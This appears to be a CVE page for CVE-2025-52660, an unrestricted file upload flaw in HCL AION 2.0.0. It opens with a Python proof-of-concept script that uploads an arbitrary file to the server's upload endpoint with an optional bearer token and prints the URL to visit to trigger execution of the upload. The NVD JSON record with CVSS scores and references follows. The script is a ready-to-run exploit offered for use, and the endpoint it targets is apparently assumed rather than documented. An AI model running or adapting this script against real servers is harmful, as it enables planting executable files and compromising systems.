CVE-2025-52660

import requests import sys # CVE-2025-52660 PoC - HCL AION Unrestricted File Upload # Usage: python poc.py <target_url> <file_path> [auth_token] def upload_malicious_file(target_url, file_path, auth_token=None): """ PoC for CVE-2025-52660: HCL AION Unrestricted File Upload This script demonstrates how an authenticated user with high privileges can upload arbitrary files to the HCL AION server. """ upload_endpoint = f"{target_url.rstrip('/')}/api/file/upload" headers = {} if auth_token: headers['Authorization'] = f'Bearer {auth_token}' try: with open(file_path, 'rb') as f: files = {'file': (file_path, f, 'application/octet-stream')} response = requests.post(upload_endpoint, files=files, headers=headers, timeout=30) if response.status_code == 200: result = response.json() if result.get('success'): file_url = result.get('file_url') print(f"[!] File uploaded successfully!") print(f"[!] Access URL: {file_url}") print(f"[!] Note: If server misconfigures script execution, visit URL to trigger code") return file_url else: print(f"[*] Upload failed: {result.get('message')}") return None else: print(f"[*] HTTP Error: {response.status_code}") return None except Exception as e: print(f"[!] Error: {str(e)}") return None if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <file_path> [auth_token]") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] token = sys.argv[3] if len(sys.argv) > 3 else None upload_malicious_file(target, file_path, token)

{"cve": {"id": "CVE-2025-52660", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:03.797", "lastModified": "2026-04-25T18:05:15.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL AION is affected by an Unrestricted File Upload vulnerability. This can allow malicious file uploads, potentially resulting in unauthorized code execution or system compromise."}, {"lang": "es", "value": "HCL AION está afectado por una vulnerabilidad de carga de archivos sin restricciones. Esto puede permitir cargas de archivos maliciosos, lo que podría resultar en ejecución de código no autorizada o compromiso del sistema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-644"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aion:2.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "BEBB7E38-04AE-436B-8F21-65FF3CA3CECC"}]}]}], "references": [{"url": "https://support.hcl-software.com/kb_view.do?sys_kb_id=4b92474633de7ad4159a05273e5c7b4b&searchTerm=kb0127995#", "source": "[email protected]", "tags": ["Permissions Required"]}]}}